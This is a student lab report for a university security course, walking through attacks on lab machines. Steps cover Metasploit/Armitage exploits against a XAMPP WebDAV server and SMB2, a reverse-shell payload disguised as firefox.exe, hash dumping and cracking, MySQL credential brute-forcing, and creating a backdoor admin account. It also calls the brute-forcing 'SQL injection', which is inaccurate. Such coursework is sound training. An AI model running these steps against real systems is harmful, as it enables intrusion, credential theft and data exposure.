

Lab 5

CSCI6658-01 & Lab #5.1/5.2

Exploiting a Vulnerable Web Application, and Performing SQL Injection to Manipulate Tables in a Database

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| TC- GitHub |  |  |  |  |

Table of Contents

1. [Executive Summary 2](#_Toc132401786)

[Lab 5.1](#_Toc132401787)

[LAB 5.2](#_Toc132401788)

[Objectives](#_Toc132401789)

1. [Lab Description Details 2](#_Toc132401790)

[Procedure](#_Toc132401791)

[LAB 5.1](#_Toc132401792)

[LAB 5.2](#_Toc132401793)

[LAB 5.1](#_Toc132401794)

[LAB 5.2](#_Toc132401795)

1. [Conclusion & Wrap-Up 11](#_Toc132401796)

[Summary with observations, Success & Failures, Challenges](#_Toc132401797)

# Executive Summary

## Lab 5.1

Within this lab you will exploit a vulnerable web application using the virtual machine marked external kali attack machine to execute this attack on the WAN. Utilizing Armitage to exploit a machine using a XAMPP, WebDAV, and PHP ssupload exploit.

## LAB 5.2

This lab will entail the execution of a SQL (Structured Query Language) in order to manipulate data tables in a database, with a kali attack machine on an external network and using the WAN to scan and attack a MySQL database on port 3306. Metasploit contains a package that will be used called MySQL login auxiliary mode to exploit the database.

## Objectives

Lab 5.1

* Use the nmap tool and zenmap to scan the network for potential open ports and ways to access the user’s computer.
* Make use of Metasploit and Armitage to exploit a common vulnerability found in web servers.
* Meter perter will then be used to breach the system.

Lab 5.2

* Use nmap to scan the network.
* Utilize a brute force cracker method to obtain the username and password of the MySQL database.
* Use the harvested credentials to exploit and breach a database.

# Lab Description Details

## Procedure

## LAB 5.1

* First begin by starting the virtual machine and select the virtual kali Linux attack machine 2 and log in with the credentials of user: root / pass: toor, after logiing on open the terminal and run a network map on the ip address 203.0.113.100 once done verify the specific ports open utilizing zenmap
* Once verified close out of zenmap and go back to the terminal command window to being the Metasploit launch procedure by typing in service postgresql start and after it initializes type in cd Armitage and then once in the director type the command ./armitage to launch into the application.
* Once inside of Armitage click connect when prompted and once in select on the hosts dropdown bar and then select add host you will then type 203.0.113.100 and then look at the console tab where it says msf and type banner until you find the two flags 2 and 3.
* Once you have found the flags go to the computer icon for 203.0.113.100 right click and select scan and wait for the scan to complete this is now shown to be a windows machine, after complete scan navigate to the exploit folder in the right side and then select the windows portion of it scroll to the bottom until you see the file marked xampp\_webdav\_upload\_php and then double click on this once open be sure that there is a green border around the 203.0.113.100 host and then proceed to click launch to exploit it the machine will now show as compromised
* Right click to navigate to the meterpreter 1 selection and go to explore and click on browse files once there be sure to click on the folder icon in order to navigate to the directory above the one you are currently in it should read C:\xampp double click to open the Apache folder and scroll down to the modules folder is there and then find flag4.txt right click on this and download it
* Next go into the logs folder and there you will find flag 5 do the same click on the file and then download it, along with this download the access file (access.log)
* Navigate to view and then click on the downloads button and once there click on the access.log file and then open folder, this will take you to where these files have downloaded onto your local machine
* Double Click on the folder marked 203.0.113.100 click on C: then click on xampp and then click on apache there you will find the flag 4 text file, after click on the log folder and you will find where the flag 5 txt file is.
* After finding the flags click on the access log to view the internal ip address of the web server once verification is complete use the find command in order to find flag 6
* Once complete in the files right click again on the host machine there and navigate to the meterpreter 1 to the interact tab then select enterpriser shell within the shell run the command run autoroute -s 192.168.1.0/24
* Click on the exploit tab in the bottom panel and then add another host you will now type in the ip address 192.168.1.10 click add to add it once added right click the black space in the computer area and select auto layout hierarchy
* Once organized navigate back to the exploit tab in the bottom panel and then type in use auxiliary/scanner/smb/smb\_version
* After type in the command set RHOSTS 192.168.1.10 then after it shows the proper setting type run once the auxiliary mode is completed navigate to the Armitage menu bar
* Go to the dropdown set Exploit Rank to poor and then click ok when prompted from the attacks bar select find attacks once the attack analysis is complete navigate back to the 192.168.1.10 host and right click and select attack smb then more find the file named ms09\_050\_smb2\_negotiate\_func\_index click it and make sure the election use reverse connection is selected then click launch
* Once you see the red electric graphic you know the host is compromised navigate back to the side panel and click on the payload folder and then the windows folder to the file name meterpreter\_reverse\_tcp scroll down and set the Lport to 443 once that is set click launch
* After you will repeat the following steps again by selecting the meterpreter\_reverse\_tcp and setting the Lport to 443 but this time in the output dropdown bar select exe instead of multi/handler after completed click launch, it will then open up with a window type in firefox.exe into the file name and then click save
* Once done right click on the compromised 192.168.1.10 victim and then select meterpreter 2 and then explore and then browse files erase the Windows\System32 and then just leave it as C:\ once in this directory select upload and then click on firefox.exe the one you just created
* Firefox.exe should now appear in the users c: drive right click on it and select execute when prompted click ok then ok again and now there will be a meterpreter session 3 opened on the machine this will allow us to navigate to the access menu then to dump hashes and then select on the registry method then proceed to click on launch
* You will see in the bottom panel that there is now the hashes for the Administrator you will now copy that entire line and then open a new Linux terminal and type leafpad pass.txt once the text pad opens paste the administrator hash
* Once the file is saved and you exit out of it navigate back to the terminal and type john pass.txt –format=NT in order to use john the ripper to crack the hash once you have the password that is it

## LAB 5.2

* Begin by selecting the attack machine Kali 2 on the virtual topology for the machines available, after login in using root as the user and toor as the password from there execute the terminal and type in nmap [www.campus.edu](http://www.campus.edu) in order to run an network map on the url
* After this to run a service and script scan on the campus edu but this time on the open port 3306 and then clear the command terminal to then setup Metasploit to be used by typing in service postgresql start and then type msfconsole to load into the Metasploit terminal
* Once launched type the banner command multiple times until the banner of flag 1 and flag 2 show up, once flags are located type in the command search mysql\_login and then type use auxiliary/scanner/mysql/mysql\_login
* Once in type the command set BLANK\_PASSWORDS TRUE, after this is verified type in set USERNAME root once verified proceed to type in set PASS\_FILE /usr/share/john/password.lst after this successful executes type in show options then run
* Once this process displays the auxiliary mode execution completed type in exit to get back to the root@kali2: terminal, once back in type in mysql -h 203.0.113.100 -u root after this type in the command show databases; and find the flag that is located within the text
* After this there will be a large sum of commands to enter to navigate through to the correct database and table that we want access to so the following is type show tables; then show databases; then use dvwa to enter the dvwa database, type show tables; then show databases; after type use Metasploit; into show tables; then show databases; then use mysql to select the mysql data base
* After that is selected type show tables; then show databases; the navigate to the owasp10 database by typing use owasp10; into show tables; then show databases; once here look for the tikiwiki data base and then type use tikiwiki; and then show tables; then show databases; after type in use tikiwiki195; to go to this database
* After type show tables; then show databases; then type use owasp10; into show tables
* Once here you should now see the mysql prompt showing the columns and data in the credit\_cards table, type in the command select \* from credit cards; now type in show tables; and after showing the tables there will be two flags 5 and 6 to be captured
* Once flags are found then type select \* from accounts; once done type in CREATE USER ‘hacker’ IDENTIFIED BY ‘mypass123’; once account is created elevate the permissions to admin by typing in GRANT ALL PRIVILEGES ON \*.\* TO ‘hacker’ WITH GRANT OPTION; once command is entered proceed to type in exit
* When back into the Linux terminal type in mysql -h 203.0.113.100 -u hacker -p enter the password you set and that is the end of the lab you have successfully infiltrated and elevated your privilege through the sql databases

## LAB 5.1

Figure 1

Text

Description automatically generated

Figure 2

Text

Description automatically generated

Figure 3

Graphical user interface, application

Description automatically generated

Figure 4

Graphical user interface, application

Description automatically generated

Figure 5

*Graphical user interface, application, Word

Description automatically generated*

Figure 6

A picture containing text

Description automatically generated

Figure 7

Text

Description automatically generated

Successful password crack

## LAB 5.2

Text

Description automatically generated

Figure 8

Text

Description automatically generated

Figure 9

Text

Description automatically generated

Figure 10

Text

Description automatically generated

Figure 11



Text

Description automatically generated

Figure 12

# Conclusion & Wrap-Up

## Summary with observations, Success & Failures, Challenges

To conclude, this lab was successful in each of the tasks stated in the objective there was a successful implementation of exploiting a vulnerable web application. This was done with minimal errors by using nmap and zenmap to help scan the network in order to gaining access to open ports once launched into Armitage, with the help of Metasploit and Armitage there was a success of the breach of a common webserver vulnerability by implementing a exploit using a XAMPP, WebDAV, and PHP upload exploit to gain access to the two host and gaining access to passwords. Performing a SQL injection to manipulate tables in a database was a success in being able to access multiple databases and then proceed to have an external network kali Linux attack machine to scan and attack the MySQL database on the port 3306, following the successful use of Metasploit’s MySQL login to create a new user named hacker and then elevate their privileges to admin on the network. Overall, this was a successful demonstration of using a web vulnerability and using SQL injection in order to manipulate tables in a database.